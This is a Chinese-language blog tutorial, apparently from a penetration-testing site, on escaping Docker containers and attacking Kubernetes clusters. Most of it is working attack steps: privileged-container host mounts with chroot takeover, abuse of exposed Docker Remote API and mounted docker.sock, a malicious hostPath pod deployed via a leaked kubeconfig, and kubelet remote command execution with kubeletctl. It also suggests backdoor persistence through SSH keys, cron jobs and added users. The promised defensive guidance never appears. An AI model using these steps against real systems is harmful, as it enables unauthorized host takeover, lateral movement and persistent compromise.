【容器安全】容器逃逸与K8S安全

概述

随着云计算技术的迅猛发展,特别是云原生技术(Cloud Native)的广泛应用,越来越多的企业选择将关键业务系统部署在容器化环境中。容器技术以其轻量级、灵活部署和易于管理的特点,成为现代IT架构的重要组成部分。然而,在网络安全领域,尤其是攻防演练中,攻击者常常将目标锁定在容器环境中,试图通过各种手段控制容器,进而实现对整个系统的渗透和控制。

容器环境虽然提供了一定程度的隔离和安全性,但由于其运行环境的限制,攻击者一旦突破容器的隔离限制,就能够实现对宿主机的访问,从而进行横向渗透,对整个系统安全构成严重威胁。因此,对于容器安全的研究和防护措施的部署变得尤为重要。

在众多容器技术中,Kubernetes(K8S)和Docker无疑是最为流行和广泛使用的容器编排和管理工具。Kubernetes以其强大的集群管理能力,支持大规模容器部署、扩展和管理;而Docker则以其轻量级的容器化解决方案,简化了应用的打包和分发过程。因此,深入探讨Docker容器逃逸技术和Kubernetes集群的安全防护,对于维护企业IT系统的安全性具有重要意义。

本文将详细讨论和记录Docker容器逃逸的常见手段、防御策略,以及Kubernetes集群的安全最佳实践。我们将从攻击者的角度出发,分析容器逃逸的动机和方法,同时从防御者的角度,探讨如何构建一个安全的容器化环境,以保护企业资产免受潜在的安全威胁。通过本文的深入分析,希望能够为读者提供一个全面的视角,以更好地理解和应对容器安全挑战。

Docker特权容器利用

快速起一个特权容器方便进行实验

docker run --privileged --name ubuntu -itd ubuntu:latest  /bin/bash

进入到容器Shell

docker exec -it ubuntu /bin/bash

环境判断

拿到目标环境的Shell之后,需要对当前的环境进行判断,判断是物理机(虚拟机)还是容器环境

查看当前系统根目录,是否有 .dockerenv 这个文件

图片[1] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

通过查看当前的环境变量是否有 Dockerkubernetes 等相关关键词

env
export
图片[2] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

查看当前环境的 /etc/hosts 文件,是否有类似于 172.17.0.2 87591d6073a0 这样的 B段地址 + 一段随机字符串

图片[3] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

特权容器判断

确定是容器环境后,还需要判断是否为特权容器,如果是特权容器可以极大增加容器逃逸的概率!

查看通过命令查看 CapPrm、CapEff、CapBnd 字段是否存在多个ffff,若存在则极大概率为特权容器

cat /proc/self/status | grep Cap
图片[4] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
特权宿主机 & 容器
图片[5] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
非特权容器

查看 /dev/ 下面的设备,特权容器一般有很多且可能有 fuse 等关键设备,而非特权容器可查看的数目就非常少

图片[6] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
特权容器
图片[7] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
非特权容器

特权容器利用

如果当前环境为特权容器,可以把宿主机的根目录挂载到容器中,然后改变当前运行进程的根目录(接管宿主机的Shell)

首先使用 lsblk ,查看每个设备的名称、类型、大小和挂载点等信息,主要是获取宿主机系统盘的挂载位置,以演示机为例,挂载点为 /dev/sda1

图片[8] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

在特权容器内,新建一个目录 /host 用于挂载宿主机的根目录,然后通过命令 mount /dev/sda1 /host 将宿主机的根目录挂载到容器的 /host 文件夹中

图片[9] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
将宿主机根目录挂载到容器内

挂载完成后,可以使用命令 chroot /host 将ROOT工作目录切换到宿主机的根目录,相当于接管了宿主机的Shell

可以正常查看宿主机的高权限文件,也可以使用宿主机的所有命令,相当于直接接管了宿主机

图片[10] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
接管宿主机Shell

到这里就可以进行后渗透了,比如使用SSH的公私密钥对添加登录后门、写Crontab定时任务、添加后门用户等~

Docker Remote API未授权利用

概念

Docker Remote  API是Docker提供的一个RESTful接口,允许用户和应用程序与Docker守护进程(Docker daemon)进行交互。通过Docker API,用户可以管理容器、镜像、网络、卷等Docker资源。

在有些情况下,Docker API开放在2375(未加密)端口或 2376(加密)端口,如果Docker守护进程配置为允许通过TCP连接访问,则默认端口为2375。如果启用了TLS加密,则使用2376。

利用

对开放Dokcer API的主机执行Docker相关的命令

docker -H <目标主机IP> images

对开放Dokcer API的主机开启Docker特权容器,将目标机器的宿主机挂载到容器的 /host 目录,然后进入容器内部交互式Shell

docker -H <目标主机IP> run -it -v /:/host debian:latest /bin/bash

Docker Sock挂载利用

如果当前容器是非特权容器,但是容器内挂载了宿主机的 /var/run/docker.sock 文件,也是同样可以进行利用的。需要利用CDK这个工具来进行命令执行

使用CDK工具进行环境检测,查看有哪些可以利用的点

./cdk eva --full

如果有挂载了 /var/run/docker.sock 文件,找到容器内挂载 docker.sock 的路径,可以用CDK工具进行命令执行(无回显)

 ./cdk run docker-sock-pwn "<docker.socket路径>" "<执行的命令>"
 ./cdk run docker-sock-pwn "/host/var/run/docker.sock" "touch /host/tmp/success"

K8S基础命令

查看K8S服务节点

kubectl get node

查看k8S节点中所有的命名空间

kubectl get namespace
kubectl get ns

查看所有命名空间的Pod

kubectl get pods -A

查看所有命名空间的Pod,并且输出详细信息

kubectl get pods -A -o wide

查看指定命名空间的所有Pod

kubectl get pods -n <namespace>

查看指定命名空间的POD的详细信息

kubectl describe pod  -n <namespace> <pod>

进入指定POD的容器内部shell

kubectl exec -it  <pod> -- /bin/bash 

进入指定命名空间的POD的容器内部shell

kubectl exec -n <namespace> -it <pod> -- sh

创建pod

kubectl apply -f xxxx.yaml

删除Pod

kubectl delete pod <name>

K8S 配置泄露利用

Kubernetes配置泄露利用指的是攻击者通过特定方式获取K8s master节点的配置文件,然后可以使用kubectl工具利用该配置文件以操作整个集群,从而获得集群的敏感信息和凭据,接管所有容器,执行恶意操作,如窃取数据、提升权限或部署恶意容器。如果拥有K8S master节点的控制权(可以控制K8S 节点,但是没有Shell),可以尝试给所有node部署恶意容器从而接管各节点的主机Shell

一般情况下Kubernetes的配置文件(kubeconfig)通常位于用户主目录下的 .kube 目录中,文件名为 config。具体路径为:/root/.kube/config


利用K8S config文件,获取当前集群的所有节点、服务、命名空间

kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get node
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get svc
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get ns
图片[11] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

利用K8S配置文件得到了K8S集群的操作权限后,然后就可以往集群内部署恶意容器了,思路就是:在部署恶意容器的时候把K8S节点宿主机的根目录挂载到容器内部,从而获取到宿主机的Shell。

需要注意的是:K8S的集群配置文件里面的server ip一般为 server: https://127.0.0.1:6443 ,在利用的时候需要把 127.0.0.1 改为当前网络环境可以访问到的地址

图片[12] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

部署恶意容器是一定需要一个镜像的而一般来说K8S集群会有一些组成K8S用的一些容器镜像,是系统自带的,可以利用系统自带的镜像来部署恶意容器。

一、手动获取获取镜像

  • 利用K8S配置文件,查看当前K8S节点中所有的命名空间
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get ns 
图片[13] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
  • 利用K8S配置文件,查看 kube-system 命名空间中所有的容器
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get pods -n kube-system
图片[14] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
  • 利用K8S配置文件,查看 kube-system 命名空间中的其中一个容器的详细信息(包含所用到的镜像)
    • 找到 Image 键,获取到镜像信息
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true describe pods -n kube-system svclb-traefik-68a853cb-n9hdg
图片[15] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

二、命令一键获取

kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
图片[16] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

获取到当前节点存在的镜像后,就要开始部署恶意POD了。需要注意的是:有些系统镜像是进入不了Shell的,所以不行的话就要换个镜像。

将下面的容器部署配置保存为 shell-pod.yaml ,需要将 image 更改为系统内已有的镜像。这个配置文件创建了一个名为 shell-pod 的 Pod,包含一个名为 shell-pod 的容器。使用 hostPath 卷将宿主机的根目录挂载到容器内的 /host 目录。

apiVersion: v1
kind: Pod
metadata:
  name: shell-pod
  namespace: default
spec:
  containers:
  - name: shell-pod
    image: <images>  # 可以替换为你需要的镜像
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /

然后使用命令部署这个恶意POD:kubectl --kubeconfig <k8s集群配置文件> apply -f shell-pod.yaml

图片[17] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

创建成功后,使用命令进入容器,获取到交互式Shell。并且可以发现宿主机的根目录已经成功挂载到POD中的/host目录。

kubectl --kubeconfig <k8s集群配置文件> exec -it shell-pod -- sh
图片[18] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

使用 chroot /host 命令将ROOT工作目录切换到宿主机的根目录,相当于接管了宿主机的Shell。可以发现已经成功接管了宿主机。

图片[19] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

K8S API未授权利用

Kubernetes 的 API 接口用于管理和操作集群资源,允许用户和自动化工具执行创建、更新、删除等操作。如果未授权访问该 API,攻击者可能会获取集群的敏感信息、操控资源,甚至完全控制集群,从而导致数据泄露、服务中断或系统被恶意利用。Kubernetes 的 API 接口与Kubernetes 配置文件泄露同样致命,可以对集群进行危险操作!

在 Kubernetes 中,6443 和 8080 这两个端口通常有不同的用途:8080 端口是 Kubernetes API 服务器的默认 HTTP 端口(非加密)。虽然有些集群可能会配置此端口,但在生产环境中,使用 HTTPS(6443 端口)是更安全的选择。


利用kubectl工具,对未授权的API接口进行利用,并且执行K8S相关命令

kubectl --insecure-skip-tls-verify=true --server=<目标K8S API> get node
图片[20] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell

后面就可以用本文写到的K8S 配置文件泄露利用一样,创建恶意POD获取宿主机权限。

K8S kubelet未授权利用

Kubelet 是 Kubernetes 中的核心组件,负责管理每个节点上的容器。它通常监听 10250 端口,用于与 Kubernetes API 服务器和其他组件进行安全通信,处理容器的创建、启动、停止和监控请求,默认情况下10250端口需要鉴权。此外,kubelet 还有一个未授权的 10255 端口,提供基本的监控信息。

如果kubelet API存在未授权,同样可以进行利用,利用kubelet未授权推荐使用工具:【Kubelet API未授权利用】Kubeletctl


  • 利用kubeletctl工具,获取所有运行POD的信息
kubeletctl -s <IP> pods
图片[21] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
  • 利用kubeletctl工具,扫描存在RCE的POD
kubeletctl -s <IP> scan rce
图片[22] - 【容器安全】容器逃逸与K8S安全 - 极核GetShell
  • 利用kubeletctl工具,对存在RCE的POD进行命令执行
kubeletctl -s <ip> exec "<命令>" -n <命名空间> -c <pod名称> -p <容器名称>

THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  本站运营不易,以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞78 分享
茶谈区 共1条

请登录后发表评论